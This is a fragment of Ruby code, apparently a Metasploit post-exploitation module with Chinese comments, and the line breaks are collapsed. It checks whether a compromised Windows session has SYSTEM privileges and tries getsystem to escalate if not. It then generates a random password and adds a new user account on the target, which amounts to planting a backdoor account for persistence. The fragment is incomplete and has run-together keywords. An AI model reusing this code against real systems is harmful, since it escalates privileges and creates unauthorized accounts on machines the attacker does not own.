defrun # 检查操作系统版本 wver = sysinfo["OS"] print_status("Target OS: #{wver}") # 检查会话的特权,并在需要时尝试获得系统特权。 print_status("Checking for SYSTEM privileges on session") if !is_system? if datastore['GETSYSTEM'] print_status("Trying to get SYSTEM privileges") if getsystem print_good("\tGet SYSTEM privileges") else print_error("Could not obtain SYSTEM privileges") return end else print_error("Session is not running with SYSTEM privileges. Try setting GETSYSTEM ") return end else print_good("\tSession is already running with SYSTEM privileges") end
defadd_users if datastore['PASSWORD'].nil? # 创建随机8位密码 datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(6) + Rex::Text.rand_text_numeric(2) print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'") end # 添加用户 if enum_user.include? datastore['USERNAME'] print_error("User '#{datastore['USERNAME']}' already exists.") else result = add_user(datastore['USERNAME'], datastore['PASSWORD']) if result['return'] == 0 print_good "\tAdding User: #{datastore['USERNAME']} with Password: #{datastore['PASSWORD']}" else check_result(result) end end end